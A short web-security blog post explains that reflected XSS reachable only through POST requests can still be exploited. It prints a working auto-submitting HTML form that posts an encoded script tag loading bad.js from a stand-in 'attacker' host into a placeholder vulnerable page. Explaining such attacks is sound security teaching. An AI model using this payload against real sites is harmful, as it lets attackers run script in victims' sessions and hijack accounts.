Exploiting XSS in POST requests

One good question I was asked in Amsterdam was whether it is possible to exploit a reflected cross-site scripting bug that can only be triggered via a POST request. The answer, of course, is "yes".

There are plenty of delivery mechanisms for reflected XSS attacks, only some of which involve inducing a victim to click on a crafted URL. For example, an attacker can create an innocuous looking web page containing an HTML form with the required fields, and a script which auto-submits the form:

<form name=TheForm action=http://vuln-app/page.jsp method=post>
<input type=hidden name=foo value=&quot;&gt;&lt;script&#32;src=http://attacker/ bad.js&gt;&lt;/script&gt;>
</form>
<script>
document.TheForm.submit();
</script>

Rather than creating his own web site, the attacker could of course inject the above attack into a third-party application via a stored XSS bug. The form is submitted cross-domain (as in a cross-site request forgery attack), but the resulting payload executes within the security context of the vulnerable application, enabling the full range of standard XSS attack actions to be performed.